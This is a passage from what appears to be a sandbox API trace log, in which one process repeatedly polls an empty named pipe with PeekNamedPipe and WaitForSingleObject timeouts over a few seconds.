lpBytesLeftThisMessage=0x0) returned 1 [0085.764] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.849] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.849] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0087.397] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0087.397] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0087.570] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0087.570] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0087.648] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0087.650] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0087.668] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0087.668] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0088.123] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0088.123] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0088.235] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0088.235] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0088.421] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0088.421] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0088.450] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0088.450] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0089.816] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.816] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0089.888] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.888] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0089.915] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.915] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0089.961] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.961] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0090.367] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0090.367] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0090.414] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0090.414] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0090.523] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0090.524] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0090.617] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0090.617] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0090.647] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0090.648] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0090.679] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0090.679] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0090.710] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0090.710] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0090.743] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0090.744] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0090.773] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0090.773] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0090.803] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0090.803] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0090.835] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0090.835] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0090.866] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0090.866] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0090.897] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0090.897] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0090.928] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0090.928] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0090.960] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0090.960] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0090.991] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0090.991] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.022] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.022] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.053] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.053] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.085] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.085] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.115] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.116] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.147] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.147] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.178] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.178] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.209] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.210] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.240] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.240] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.271] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.272] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.303] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.303] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.334] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.334] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.365] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.365] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.396] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.396] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.435] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.435] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.459] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.459] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.490] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.490] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.521] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.521] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.552] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.553] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.583] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.583] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.618] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.618] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.646] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.646] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.677] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.677] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.724] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.724] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.755] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.755] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.787] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.787] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.822] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.822] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.849] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.849] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.880] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.880] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.911] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.911] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.942] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.942] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.974] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.974] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0092.005] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0092.005] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0092.036] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0092.036] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0092.067] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0092.067] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0092.098] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0092.098] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0092.129] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0092.130] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0092.161] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0092.161] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0092.194] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0092.195] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0092.233] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0092.233] WaitForSingleObject 